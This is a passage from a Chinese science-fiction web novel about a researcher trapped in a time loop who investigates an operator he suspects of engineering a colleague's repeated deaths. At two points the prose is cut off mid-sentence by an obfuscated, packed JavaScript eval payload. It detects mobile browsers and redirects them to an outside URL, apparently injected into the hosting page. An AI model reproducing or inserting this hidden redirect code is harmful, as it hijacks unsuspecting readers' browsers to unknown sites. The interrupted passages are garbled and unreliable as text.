按照流程,此时郭山错应使用安全密钥远程覆盖控制权;但他没有,他拔出暗银色手枪,瞄准逃生舱舷窗偏左十五度,对准舱体结构接缝处。 祝觉明看见监控画面里郭山错手指扣上扳机。 他开始用模型实时计算弹道:标准穿透弹会击穿接缝,撕裂内层缓冲材料,但不会直接击中人体;然而接缝后方是氧气调节阀冗余管路,击穿可能导致舱内气压骤降。 怀从咎的生理指标开始爬升。心率从七十二跳升至一百零九,体表温度也在升高,监视生命体征的仪器开始示警。 郭山错开保险。 祝觉明按下全频段通讯按钮,也顾不得是不是单向了。 机械声透过麦克风传来,清晰得像在耳边。 “测试终止。郭部长,立即放下武器!” 他的声音盖过枪声,画面里郭山错顿住;他维持瞄准姿势三秒,缓慢转头看向监控镜头方向。他的脸在镜头里没有情绪波动,只有眼睛微微眯起、像在调整焦距。 “祝博士,您干扰了测试流程。” “你的武器装载弹头与申请不符。”祝觉明调出修改记录,“标准穿透弹在封闭舱内使用违反安全条例。” “我收到高层指令更新测试参数。”郭山错打断他,“指令优先级高于安全条例。请您继续观摩,不要介入。” “指令来源?” “《火种计划原始宪章》第七章。” 祝觉明眸光微敛,从数据板翻拣出宪章第七章档案;权限短暂开放,他快速浏览。 第七章标题:“文明过滤测试中的变量控制协议”。 条款核心:当测试样本中出现“不可控高维共鸣体”时,界面者有权启动渐进式控制措施,包括精神压制、物理限制,直至在测试框架允许范围内执行“无害化处理”。 无害化。 祝觉明看向屏幕,郭山错重新瞄准。 ……你的意思是怀从咎还一切正常就出现了不可控高维共鸣,还是他是那个共鸣体? 你是说你要对他无害化处理,抹去他的存在将他销毁,不拘于精神压制、物理限制……这些泯灭人性的手段,是吗? ——可你不了解怀从咎。 怀从咎在逃生舱内,透过舷窗与郭山错对视。他没有惊慌,异常平静,甚至笑着挥了下手。 祝觉明切通怀从咎私人频道,语速很快:“右舷窗下方有手动释放阀,转三圈能弹开应急气密隔板。隔板后面是维修通道,直通二号对接口。” “您这算泄密吗,”怀从咎在频道里轻笑,“亲爱的博士?” “转三圈。现在。” 祝觉明扶上耳麦,他想假说郭山错并非自主异化、也许可能接收了来自界面者的指令污染,以记忆碎片、条件反射、乃至嗅觉关联等形式植入,让他逐渐从规则执行者蜕变为协议具象体。 可他现在来不及告诉怀从咎郭山错已被锈蚀,他作为人的那部分正在被程序覆盖。 那锈蚀可能产生裂缝,但更大的可能是吞没所有安宁的真实; 譬如现在,他要清除。 祝觉明想到如果怀从咎逃脱郭山错在那瞬间会多困惑,想到程序的预期与现实的偏差造成的短暂宕机会带来什么;在那一刻郭山错不是安保部长也不是清除终端,只是一个看见结果偏离计算的人。 而那瞬间或许可以撬开。 所以他违背了训练不得暂停的原则。 窗外,地球缓缓转入背光面,大陆的灯火逐片熄灭,像缓慢的谢幕;近日点号在船坞中静默,逃生舱的破损处已被维修机器人覆盖上临时补丁,银白色材料在灯光下反射出粗糙的光。 怀从咎动了。手伸向侧边控制板下方,摸索、找到阀门,开始旋转。 一圈,两圈—— 郭山错扣下扳机。 枪声被真空吞没,子弹击穿接缝的火光在监控画面里炸开;逃生舱剧烈震动,气压警报尖啸。几乎同时,应急隔板弹开、怀从咎侧身滚进维修通道,身影消失于黑暗中。 长风呼啸穿过洞开的大门,像敞开的缺口暴露出内里废墟的凌乱、但随意一动就是万顷山塌,于是只能先行逃离;郭山错放下枪,看着破损的逃生舱,脸上第一次出现可辨的情绪,那是困惑。 他低头看了看自己的手,再看向枪。 他似乎不明白,或者说真的在思索,谁帮怀从咎逃离了那里。 其实他有答案。 祝觉明跌跌撞撞的冲出监控室,在对接廊桥拦住郭山错;两人相距两米,枪油气味扑面而来。 “情感用事会葬送整个计划,博士。”郭山错冷眼看他,“您应该最清楚。” 26. 六声 祝觉明在实验室里睁开眼。 这次苏醒没有伴随新的痛觉,只有鼻腔深处残留着上次循环中爆炸的气味;合成材料燃烧的刺鼻甜腻混着电离空气的金属腥气、他熟悉的不得了,睁开眼果然又躺在金属地板上,索性望着天花板呼吸平稳、等待嗅觉残留自然消散。 十几秒后气味退去,他撑地起身,动作已经流畅到无需思考。 他调取人员定位。郭山错在武器校验室,停留时间四十一分钟;祝觉明没有放大监控,他已经记住了画面:暗银色手枪,SYN-LUB-07枪油,三分十七秒的重组流程。 他关闭悬浮屏,走向数据终端。 这是第多少次循环他没有计数,数字超过阈值后便失去意义、像沙堆越过临界角度开始滑塌;颗粒数目不再重要,重要的是滑塌在持续发生。但他能感觉到变化:每次苏醒时感官混淆在加剧,上次是嗅觉,上上次是触觉……持续不断的麻痹仿佛还握着逃生舱破裂的边缘,他又调出陈启的日程。 今日下午,陈启将进行出航前最后一次系统核查;按照流程,他会检查导航模块第七号耦合器。祝觉明已经在那次预防性维修中更换了异构晶体,但陈启还是会死;死亡方式会变,如同水流绕过障碍物寻找新路径。 祝觉明决定尝试新方案。 他调用两台维修AI机器人,型号M3-R7,专为高危环境作业设计;他重新编写了它们的任务协议:不再仅仅检查耦合器,而全面扫描整个导航模块的能量矩阵、提前识别任何场畸变风险。 他设置了保守阈值——任何能量波动超过基准百分之五即触发警报,并强制AI撤离。 他部署了机器人。 下午二时四十七分,陈启进入导航模块区。监控画面里他穿着浅蓝色工作服,手里拿着检测平板,步伐轻快;祝觉明在自己的实验室里同步观看,面前展开八个分屏:陈启的生命体征、模块能量读数、AI机器人的传感器数据、环境辐射水平…… 一切正常。 如果救下陈启那怀从咎就不会失控,如果和怀从咎合作他们能救下地球与家园;如果自己能够去看望许久不见的亲人,如果自己的生活能回归正常…… 至少不要再每次都把自己扔地上了。 但其实他也见过其它节点,譬如会议室、船舱、训练室……甚至是怀从咎模拟训练之后的休息室;事实证明还是地上最合适,扔床上他容易睡过去误事、扔别的地方多少不太安全,总不能扔办公室吧。 陈启启动自检程序。耦合器的靛蓝辉光稳定闪烁,异构晶体的能带曲线平滑;他低头记录数据,侧颜在屏幕微光里那样专注。祝觉明看着,手中的笔无意识敲击桌面,敲击的频率与陈启的心跳同步,他在计算。 终于能量矩阵出现第一个波动。 读数跳升百分之三点二,持续时间零点七秒;祝觉明设置的阈值是百分之五,系统没有报警。但他看见了,波动源不是耦合器,是矩阵底层的供能线路、一处老化的绝缘层在能量负载下产生微放电。 陈启也看见了。他蹙眉,放下平板,走向波动区域;按照规程他应该呼叫维修组,但他没有。他蹲下,打开检修盖板,探头查看内部;祝觉明调出他的通讯记录——没有呼叫,没有上报,只有一句低声自语: “小问题,自己弄。” 性格决定行为。 陈启总是这样,把责任揽在身上,相信能靠双手解决一切。 AI机器人就在这时识别出风险。它们的协议里有一条:当人类操作员进入高危区域且未采取标准防护时,应介入协助;一号机器人滑向陈启,机械臂伸出,试图递送绝缘工具。陈启挥手示意不用,身体又往里探了半寸。 二号机器人监测到能量波动正在积聚。它启动预警协议,声音柔和:“检测到不稳定放电,建议撤离。”陈启没理会,他的注意力全在那处微小的电弧上——它像一条细小的蓝白色蠕虫,在导线表面爬行。 祝觉明站起来。 他知道接下来会发生什么。他经历过这种变奏:陈启的莽撞、机器的误判、微小失误的连锁放大……他想通过通讯频道喊话,但声音卡在喉咙;因为就在此刻,他看见能量读数突然飙升至百分之三百。 没有丝毫渐进。 电弧炸开。蓝白色光蛇窜出,击中一号机器人的中央处理器;机器人的安全协议瞬间过载,它的机械臂失控地挥舞,关节马达发出尖啸。陈启后退,但地上有他刚才打开的润滑油瓶,他滑倒的时候已经什么都来不及。 他向后仰去。 失控的机械臂向下砸落。钛合金骨架贯穿工作服,刺入胸腔;闷响透过监控麦克风传来,像重物坠入沙堆。陈启的眼睛睁大,看着穿透自己身体的金属臂,困惑、痛苦,都凝结在那一瞬间。 祝觉明闭上眼。 但他仍能看见数据:陈启的生命体征直线下跌,心率从七十二骤降至四十,血氧饱和度滑向临界值;非物质的能量读数与陈启未说出口的念头、对任务的期待、对怀从咎的歉疚……所有这些在脱离□□的瞬间被捕捉、放大、转化。 峰值强度达到初始值的千百倍。 曲线在屏幕上疯长,像一棵逆生的树;根系深耕死亡,树冠刺破数据上限,监测仪器的警报全部响起又全部静默、它们已被峰值冲毁了量程。 祝觉明睁开眼。 怀从咎的监控画面同步弹出。他不在训练区,他在宿舍、坐在床沿,手里拿着水杯;杯子突然从指间滑落,撞在地上碎裂。他捂住锁骨,灼痕爆发出肉眼可见的微光,透过衬衫布料,像埋着的一盏过载的灯终于被引爆。 他的眼睛看向虚空,瞳孔散焦。 祝觉明知道他在说什么。在之前的循环里,怀从咎后来告诉他: “那一刻我听见陈启在喊我,声音和念头直接砸进脑子里,他说老大,对不起,任务还没完成。” 能量峰值持续七秒才骤降。 一切归于死寂。 祝觉明坐回椅子。实验室里只有屏幕微光,映着他苍白的面庞;他调出这次死亡的全部数据,建立新档案。 《催化事件N-变异体:机械臂贯穿》。 他开始分析,在触控板上滑动、调用模型,计算能量转化效率。 但他无论怎样都心智不宁。 因为结果让他停顿。 转化效率比上次高出百分之三十七点六。 他调取历史数据,将所有循环中陈启死亡的催化效率绘制成曲线;得到的结果果然不是随机的,它呈现周期性波动,效率在有的循环中显著高于其他。 “聂谊生的活动记录。” 祝觉明加入新变量。 他发现了关联。 在聂谊生存在的循环里,即名单上有他名字、或监控记录里有他影像的那些,陈启死亡时的催化效率平均高出百分之三十七点六;而在聂谊生消失的循环里,效率接近基线。 关联系数0.92。 祝觉明靠进椅背,双手交叠放在腿上。这个姿势能让他保持镇定,尽管胸腔里的心跳已经加速到每分钟九十八次。他调出聂谊生所有公开行程,与催化事件的时间点对齐。 更深的模式浮出水面。 每次催化事件前四至六小时,聂谊生总会与怀从咎有什么形式的接触:有时是简短会议,有时是走廊偶遇;有时只是通过监控系统观察怀从咎的训练,有时甚至就是远远看着。接触后,怀从咎的情绪波动会出现一个小峰值;焦虑,不安,或莫名的愤怒。 再然后陈启死亡。 催化效率与这个小峰值的幅度正相关。 祝觉明感到寒冷从脊椎底部爬上来。他调取怀从咎的神经监测原始数据,放大那些小峰值的频谱;频谱特征与常规情绪波动不同,它们更干净、频率更集中,像是被外部信号激发的共振。 他心底有了一个大胆的假设。 聂谊生,或者说界面者OPERATOR NIE,他能够预读取怀从咎的直觉波动;那些波动是怀从咎无意识捕捉到的未来碎片,关于危险、关于死亡、关于尚未发生的悲剧。聂谊生读取这些波动,然后调整参数:安排恰到好处的故障、偶然的泄漏、意外的机械失控…… 优化催化条件。 让陈启在最适合激发怀从咎情感共振的时刻,以最能撕裂心理防线的方式死去。 祝觉明关闭所有界面。 实验室陷入黑暗,只有戒指的微光在规律明灭;他坐着,呼吸缓慢,让这个结论沉淀。如果假设成立,那么聂谊生不仅是观察者、执行者,更是催化公式的优化者;他像园丁修剪枝叶一样修剪现实,确保牺牲在最肥沃的土壤里发生。 那么郭山错呢? 祝觉明调出上次循环的录音,郭山错在廊桥上的话: “情感用事会葬送整个计划,博士。您应该最清楚——您的模型里,每个决策都是代价计算。” 还有更早的对话,他试探郭山错时: “执行清除怀从咎的最终授权来自观照总长?” “……不,来自《火种计划原始宪章》第七章。” “谁起草的第七章?” “我不知道。”郭山错沉默良久,“它一直在那里。” 一直在那里。 祝觉明打开宪章第七章的只读副本。他之前只关注条款内容,现在他终于来查看元数据:创建时间、修改记录、加密签名……创建时间显示为系统默认,修改记录为空,加密签名是观测者的高维几何图案。 但有一条隐藏属性: 关联文档。 他破解了访问权限。关联文档列表展开,十七条,全是林静渊的早期实验报告,EE-CAT-001至EE-CAT-017。 以及一份未命名文件,创建者是: NIE-YSH。 他打开那份文件。 不是文本,是一组参数方程。变量包括:情感连接强度(E),预期痛苦深度(P),催化时机(T),环境干扰因子(δ)……方程输出一个优化值(η),代表“催化效率预期”。 公式底下有一段手写注释,扫描录入的,字迹工整得像印刷: “当η>0.87时,共鸣体有概率突破阈值,进入稳定共振态。此时可尝试引导其意识与观测协议对接,实现欺骗性通过。” 注释末尾有个缩写:N.Y.S。 聂谊生。 祝觉明保存文件。他站起来,在实验室里踱步,步伐间距不自觉地变大;他需要验证,需要更多数据、需要知道这个优化系统运作的具体机制。 但首先他需要确定一件事:苏持风知道多少。 他在走廊遇见她,下午四时二十分。她刚从档案室出来,手里拿着数据板,看见他时脚步微顿。 “博士。” “苏主任。”祝觉明停下,“关于上次林静渊实验数据的调查,我有几个问题。” 苏持风的眼神闪了一下,很快恢复平静:“您请问。” “EE-CAT-009号实验,双胞胎宇航员。报告里提到情感痛苦可跨介质传递,无需物理接触。当时实验组有多少人?” “标准配置五人。首席研究员林静渊,两名助手,两名医疗官。” “会议记录显示,实验决策会上有第六个声音。谁?” 苏持风低头翻查数据板,速度很快,三十秒后抬头,表情困惑:“我的记录里只有五个人,林博士、助手、医疗官……没有第六个声音。您从哪里看到的信息?” 祝觉明看着她的眼睛。苏持风没有撒谎,她的困惑那样真实,瞳孔微微放大,眉间肌群收缩;这些微表情无法伪装。她真的相信只有五个人。 在之前的循环里也曾有过的。 在会议上没有聂宜生,他问苏持风,她说只有他、她、怀从咎、陈启、郭山错。 没有第六个人。 但他的记忆里有第六个声音。平稳,低沉,在背景里偶尔插话,提出调整参数的建议;他记得那个声音说“将痛苦记忆的触发时间提前三秒,观察Beta的生理响应延迟。” 他当时以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174331|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是未列席的观察员。 不,如果聂宜生在会议里,那么这第六个声音有了出处。 ——因为它们重合。 现在他知道了: 那是聂谊生。 “可能我记错了。”祝觉明淡笑,“谢谢。” 他转身要走,苏持风叫住他:“博士。” 他回头。 “您最近经常问一些细节问题。”她斟酌用词,“关于过去的实验,关于人员配置、关于会议记录。是模型需要这些数据吗?” “模型需要一切数据。” “包括已经封存的?” “尤其包括封存的。” 苏持风点头,但她的眼神没有移开。她在观察他,像他观察她一样。两人在走廊里对视,感应灯因久无动作开始变暗,阴影从两侧合拢。最后她开口: “如果您需要协助调阅档案,我可以申请特别许可。” “不必。”祝觉明安慰她,“我已经看到了需要看的。” “好的,”苏持风颔首,“我会提供一切我能提供的。” 他离开。走廊里他的脚步声规律回响,像编码;他回到实验室,锁上门,调出所有循环中苏持风的行为数据。他发现了规律:每次当他接近关键真相时,苏持风总会恰好出现,提供一点信息、或引开他的注意。 不是偶然。 她在被引导。 被谁? 聂谊生,观测者?还是更大的系统,像下棋一样移动他们这些棋子,确保棋局按预定路线发展? 祝觉明感到疲惫如潮水涌来。他摘下眼镜揉了揉眉心,感觉到温度异常;他在发烧,低烧、监测器显示体温三十五点八度。 循环带来的生理损耗在累积。 他调出生存概率函数。 函数曲线随时间趋向于零,梯度变化在近日点附近趋近无穷大;用数学语言来描述绝望,就是不可逆的滑向湮灭、任何干预只能改变滑落的速度,不能改变方向。 除非改变这函数。 除非重写公式。 他看向左手戒指。戒面正在发光,代码流过: CATALYTIC_EFFICIENCY: 0.91 RESONANCE_STABILITY: 12% OPERATOR_ACTIVITY: OPTIMIZING 优化中。 聂谊生正在调整参数,为下一次催化做准备。 祝觉明不知道目标是谁,陈启已死,也许这次是苏持风,也许是郭山错,也许是他自己。 但他知道时间不多了。 他打开通讯频道,输入怀从咎的代码;连接建立前的三秒空白里,他听见自己的呼吸、听见心跳,直到频道接通,怀从咎的声音传来: “博士?” “我需要见你。”祝觉明有些颤抖,“现在。不在监控区。” 沉默。他能想象怀从咎在另一端评估,权衡。 “老地方?” “老地方。” 他们说的老地方是七号观测舱,基地最边缘的废弃模块,没有监控,没有录音、只有舷窗外永恒的星空。这是这次循环载入的独特记忆,他翻文件的时候看见的。 祝觉明到达时怀从咎已经在了,他靠在舷窗边,侧脸映着地球的蓝色反光。 祝觉明关门,气密锁扣死。 “我有个假设。”他直截了当开门见山,“关于陈启的死,关于你的直觉,关于这一切为什么重复发生。” “重复?”怀从咎转身看他,眼睛在昏暗里亮得过分,“我在听。” ……差点忘了这条线的怀从咎不知道轮回,那是四条线之前,祝觉明尝试摊牌说自己在循环中以期得到怀从咎的支持,可结果还是无可换回的走向死亡。 “聂谊生能读取你的直觉波动。那些你感觉到的危险,那些既视感、那些梦境……他在监控它们。然后他调整现实,让灾难在你预感最强烈的时候发生;用你重视的人的死亡来激发你的情感共振,达成他的目的。” 祝觉明停了一下,观察怀从咎的反应。 怀从咎没有惊讶。他点头,表情平静得像在听天气预报:“继续。” “这种共振产生的能量被观测者收集,用来评估人类文明,或者说,用来欺骗评估;他们想用你个人的情感强度掩盖文明整体的缺陷,你是个样本,陈启是催化剂,我是记录员。” 我们都在一个实验里。 “实验目的是什么?” “通过宇宙的过滤测试。证明人类值得存续。” 怀从咎笑了,那笑声短促干涩:“用这种方式证明?” “这是他们设计的唯一方式。”祝觉明走近,“我计算过所有可能。如果我们按原计划执行任务,成功率无限接近于零;如果我们反抗,系统会重置、我们回到起点。如果我们什么都不做,审判降临,文明格式化。” “所以?” “所以我们需要第三种方案。”祝觉明看着他的眼睛,“不服从,不反抗,而作弊。在实验框架内,找到他们没预料到的漏洞。” 怀从咎沉默。他转头看向舷窗外,地球正在转入阴影,大陆的灯火逐片亮起、像反向的星图;许久,他才开口: “你知道我最讨厌什么吗,博士?” “什么?” “被算计。”他转回头,目光锐利,“被当成棋子,被安排命运,被用为了大局的名义牺牲。三年前在火星,我救你,不是因为你重要,是因为你是一个人。现在他们告诉我,连那场救援都是计算的一部分?” 祝觉明没有回答。 怀从咎走近,两人距离缩短到能感受彼此的呼吸。 “如果我拒绝呢?如果我掀翻棋盘呢?” “你会死。我会死。所有人会死。然后循环重启,我们再来一次,直到你学会服从。” “那如果我不死呢?” 问题悬在空中。祝觉明看着他,看着那双眼睛里燃烧的东西。 很漂亮。 27. 刀山火海 愤怒、绝望与更原始的决心像野生动物面对陷阱时的本能,宁愿撕断肢体也要挣脱。 它们在怀从咎的眼中无比充盈。 “我不知道。”祝觉明这次很诚实了,“我的模型算不到那么远。” 怀从咎笑了。他抬手指向舷窗外的星空,指向那颗正在缓缓升起的银色光点;那是近日点号,在船坞灯光下反射冷光。 他似乎触碰到了祝觉明,却如同与幻影相对、错身而过。 “试试我的方法。”他坚定的抛出自己所想的,“不按你的模型,不按他们的剧本。我们合作,真正合作,不是你在计算我在执行,而是我们一起决定去哪里、做什么。” “那样成功率会更低。” “但至少是我们自己选的。”怀从咎收回手插进裤袋,“我受够了,祝觉明。我分不清哪些是你的计算,哪些是命运、哪些是他们在幕后调整参数;但我知道如果继续按剧本来,陈启会死、苏持风会死、郭山错会变成工具,你会变成另一台机器。” “而我不想那样。” 你已经离系统化一步之遥了。 枯燥,荒芜,死板,看不出任何漂亮的颜色。 祝觉明感到戒指在发烫,戒面代码更新: RESONANCE_STABILITY: 17% COHERENCE_THRESHOLD: APPROACHING 稳定性在上升。怀从咎主动选择带来的情感强度正在产生新的共振,祝觉明调取实时数据,发现怀从咎的脑波频谱在变化,频率趋于集中、振幅增大。 他的坚定似乎在给出不一样的路径。 他在突破。 也许这就是漏洞:没有完美的协同,没有冰冷的计算,只有两个个体在知晓所有算计后依然选择并肩站立。 “好。”祝觉明最终妥协,“试试你的方法。” “第一步?” “找出聂谊生读取你直觉的具体机制。然后干扰它。” “怎么找?” “你需要回忆。”祝觉明调出数据板,展示频谱图,“每次你产生强烈既视感或预感时,聂谊生在哪里?在做什么?周围有什么设备?任何细节都可能关键。” 怀从咎闭眼,沉思。他的表情专注,灼痕微微发亮,像在黑暗中点燃的炭。一分钟后他睁眼: “有三次我记得特别清楚。第一次,陈启死前五分钟,我在走廊遇见聂谊生。他手里拿着一个黑色手持设备,像旧式录音机。第二次,演习前,他在观察窗后站着,戴着一副眼镜,镜腿有红色指示灯。第三次……” “第三次是昨天。我在宿舍,梦见你和我冲向太阳;醒来时灼痕剧痛,我走到窗边,看见聂谊生在下面广场,抬头看着我。他举手竖起三根手指,那显然不是打招呼。” “三?” “三秒后,火警演习警报响起。全基地灯光闪烁三下。像在回应。” 祝觉明记录。黑色设备,眼镜,手势……这些都是界面工具,用来接收、放大、反馈怀从咎的直觉波动;他调取基地设备清单,搜索关键词,但没有匹配项,这些工具可能不在正式名录里。 “我们需要实物。”他揉了揉眉心,“你觉得呢?” “怎么拿?” “等他下次使用。”祝觉明调出聂谊生的行程预测,“明天上午十点,他将在中央控制室听取任务最终简报。按照模式,那之前他会接触你,确认你的情绪状态。” “然后?” “然后我干扰监控系统,你接近他取走设备或眼镜。我会在三十米外提供支援。” “可是,”怀从咎看着他,“你会违反规则。” “规则正在锈蚀。”祝觉明悲哀的笑了,“我们也一样。” 两人对视。舷窗外地球完全转入黑夜,只有城市的金色网络勾勒大陆轮廓;近日点号在星光下静默,像一枚上膛的子弹,等待发射。 “如果失败呢?”怀从咎最后一次确认,“怎么办?” “循环重启,我们再来。” “如果成功呢?” 祝觉明没有回答。他看向星空、看向那片无垠的黑暗;那里有太阳,有审判,有等待答案的观测者。成功意味着什么?意味着他们可能找到漏洞,可能欺骗系统、可能为文明赢得存续的机会。 也可能意味着更深的坠落。 但他已经计算过太多次失败。这一次,他想计算一次可能性,哪怕概率低到小数点后无数位。 “先成功再说。”他最终垂眼,“让我走到一次飞船之上吧。” 怀从咎点头。他转身离开,在门前停顿,没有回头: “明天见,博士。” “明天见。” 门滑开又闭合。祝觉明独自留在观测舱里,舷窗映出他的倒影,还有身后无尽的星空;他抬起左手,戒指的光芒在昏暗里画出弧线,戒面代码最后一次更新。 “COHERENCE_THRESHOLD: 23%。” “STATUS: UNPRECEDENTED” 前所未有。 他关掉提示,走出观测舱。走廊感应灯随他的步伐亮起,像在为他铺路;他走向实验室,走向数据,走向下一个计算 窗外一颗流星划过天际,拖出短暂的光痕、尔后湮灭于大气层。 像一次微不足道的反抗。 ——— 循环以重复的灰度展开。 不出所料上次也又失败了,任何逾矩的行径都会直接被抹杀。 祝觉明调整模型第七十四万次。他压缩航程,将七日行程压至五日,让飞船更早抵达近日点。 计算结果:生存概率上升百分之零点零三,但船员承受的重力负荷超过生理极限。 陈启在加速过程中脑血管破裂,血液从耳孔渗出,在零重力环境中凝成悬浮的红宝石;怀从咎的灼痕在那刻爆出炽光,照亮整个舱室,像一颗微型超新星在锁骨下诞生。 循环第九十一万次。他延长航程,给足十日,绕开所有预测中的高能区域;飞船在第八日误入一片星际尘埃云,颗粒摩擦船体产生静电累积。放电瞬间引发导航系统错乱,飞船朝太阳反向加速,将所有人抛向深冷虚空。 陈启在飘离时仍在睡袋中,表情安宁,一如婴孩。 循环第一百三十万次。他提前排除故障,在出发前更换全部可能老化的部件,重写所有安全协议;启航当日,船坞的吊装机械臂发生齿轮滑齿,砸穿近日点号的燃料舱。爆炸席卷半个港口,陈启当时正在港口做最后检查、身影被烈焰吞没前,他回头看了一眼怀从咎的方向。 循环第二百五十万次。他禁止陈启登舰,动用权限将其调往月球基地;三小时后月球基地遭遇微陨石雨,陈启所在的生活舱段被击穿。气压将他推出裂缝,飘向黑暗时他手里还捏着一张全家福,相片在真空中迅速泛白、脆化、碎裂成晶尘。 循环第五百七十万次。他试图说服怀从咎放弃任务,在会议室摊开部分循环数据;怀从咎信了,两人联手向聂谊生摊牌。聂谊生安静听完,点头说“程序需要继续”,然后启动基地自毁协议。火焰从核心区涌出,吞噬一切之前,祝觉明看见怀从咎扑向陈启,用身体挡住第一波冲击。 循环第七百万次。循环第八百万次。循环第九百万次。 祝觉明的操作进入绝对机械化阶段。 苏醒,调取数据,建模,计算,干预,记录失败,等待重置。每个动作精确到毫秒级误差,肌肉记忆取代思考,手指在触控板上的移动轨迹固定成种模式,对应常见死因。他的呼吸频率恒定在每分钟多少次,心跳七十二,血压115/75,所有生理指标维持在教科书定义的健康范围内。 除了眼睛。 他的眼睛在数据屏反光里显出过度使用的浑浊。虹膜边缘泛着细微血丝,瞳孔对光反应延迟了零点二秒,聚焦时需要额外努力;但他还在计算,因为停止计算就等于承认循环只是惩罚,而惩罚需要罪,他找不到自己的罪在哪里。 他找不到。 他找不到。 他找不到。 在失败与重置之间那段短暂的数据停滞期,祝觉明在虚拟空间里继续建那座山。 他真的找不到。 他真的找不到。 他真的, 真的、 真的…… 他找不到。 骨骼已经堆积到视觉极限。从山脚到山顶,沿途全是熟悉的结构:陈启被机械臂贯穿的胸廓、在真空里肿胀的四肢;因窒息泛青的头颅,被爆炸撕裂的盆骨。每块骨头都在发光,光色因死因差异而不同,交织成一片流动的令人眩晕的虹彩。 祝觉明沿山脊向上走。 脚下骨骼发出细碎声响,像风穿过枯树林;他走过的地方骨面浮现全息投影,重演对应死亡瞬间。这些画面他看过百万次,现在已无感触,只是数据流的表现形式;他走到山顶平台,那里由三块盆骨拼接而成,边缘斜插一根折断的肋骨。 他幻觉中的执念。 他的信仰崩塌,他的轮回碎裂,他成为恢弘数据流的一部分,他不知生死只是往前走。 重复的走。 他往前走。 这是他必要行的路。 他曾调整模型参数,将怀从咎的直觉波动权重上调百分之十七,重新计算航线;飞船在第五日偏离预定轨道,避开了理论上的日冕喷流,却撞入一片未映射的高能粒子云。船体防护层在四十七秒内蒸发,舱内气压骤降、陈启在睡眠中肺叶破裂。怀从咎的灼痕在那一刻炽亮如微型超新星,光芒透过监控镜头灼伤了祝觉明的视网膜。 他在平台中央站定。 他曾改变航线,选择更迂回的路径,增加三日航程以绕开所有已知风险区。但第七日飞船经过静谧空间时导航系统突然接收一组异常引力波信号,信号结构与三年前火星竞赛中他丢失的数据包完全一致;系统试图解析,引发逻辑回环、主引擎过载停机。 近日点号在惯性下滑向太阳,像一片坠入篝火的枯叶。 他曾提前排除故障。在出发前七十二小时他亲自检查飞船每个模块,更换所有可能老化的零件,重写全部安全协议;启航日,陈启在登舰廊桥前被坠落的检修平台砸中、颈椎断裂,但平台的安全锁在五分钟前刚通过自检。 这次他调出建模工具,想为这座山正式命名。系统提示输入字符,他键入三个字。 他也曾禁止陈启参与任务,动用权限将陈启调离岗位,安排至月球基地;当日下午月球基地发生罕见磁暴,陈启所在的生活舱段失压。他飘进真空时手里还拿着全家福照片,玻璃相框在低温中开裂,碎片悬浮。 确认瞬间整座山震动起来。 他曾说服怀从咎放弃,他在会议中公开部分真相,展示循环数据,恳求合作;怀从咎相信了他,两人联手向聂谊生摊牌。聂谊生安静听完,点头说明白了,尔后启动基地自毁协议。爆炸从反应堆核心开始吞噬所有人,包括他自己。 于是他不再计数。数字失去意义,变成一串在意识背景中滚动的噪音;他的操作进入机械化阶段:苏醒,调取数据,建模,计算,干预,观测失败,记录死因,等待下一次重置。每个动作都像流水线上的机械臂,重复抓取、放置、再抓取。 他的身体记住了所有死法。肌肉在特定时刻会自动绷紧,对应循环中的冲击波;呼吸会在某些场景下短暂停滞,对应循环中的真空窒息;左肋的幻痛持续存在,对应谁人手肘撞击的位置。 数据结构共振带来地震,所有骨骼同步发光,亮度骤增、光芒汇聚成光柱冲天而起,刺破虚拟天空的预设边界。光柱中浮现无数影像碎片:陈启的笑容、怀从咎的伤、苏持风撕碎的文件、郭山错在船舱中、聂谊生平静的面庞…… 他还在计算。 因为停止计算就等于承认这一切只是徒劳,而承认徒劳比他无功而获更难以承受。 他还是想篡改命运。 所以他不放弃。 他知道自己已经付出了太多沉没成本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174332|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在一次失败后、重置前那段短暂的数据停滞期,祝觉明在虚拟空间中建起一座山。 就是这里。 他调取所有循环中所有人死亡的记录。每一份记录包含时间、地点、直接死因、生物神经能量峰值……他将这些数据转化为三维点云,每个点代表一次死亡。 点云在虚拟空间中悬浮,初始状态是混沌的雾。 他编写算法,让点云自行组织。算法规则很简单:死亡时间相近的点相互吸引,能量峰值高的点亮度提升,相同死因的点聚合成簇。 过程持续了虚拟时间七十二小时,相当于现实中的七点二秒;雾开始凝聚,点与点连接,形成线、线与线交织,形成面、面与面堆叠,形成体。最初是散乱的骨状结构,指骨,肋骨,脊椎碎片……然后碎片在算法引力下拼合,组成完整的骨骼架构。 一具,两具,十具,百具…… 最终成山。 祝觉明站在山脚下仰头望去,骨骼的山峰刺破虚拟天空的预设边界向上延伸,直到视野极限之外;每块骨骼都在微微发光,光色因死因不同而异:机械贯穿伤呈暗红、窒息呈青紫、爆炸撕裂呈炽白……光芒交织成一片不断流动的虹晕,笼罩整座山体。 他沿山脊向上走。 骨骼以违反解剖学的方式交错嵌合,股骨插入胸廓、颅骨堆叠成阶,指骨如藤蔓缠绕脊椎; 他走过时,表面会浮现短暂的全息投影,重演对应的死亡瞬间:陈启在真空里伸出手、陈启被机械臂贯穿、陈启在睡眠中肺叶破裂、陈启飘向深空时握着破碎的相框…… 九百六十三万次死亡。 九百六十三万具骨骼。 祝觉明还没走到山顶。 但他在一小片平台停下。 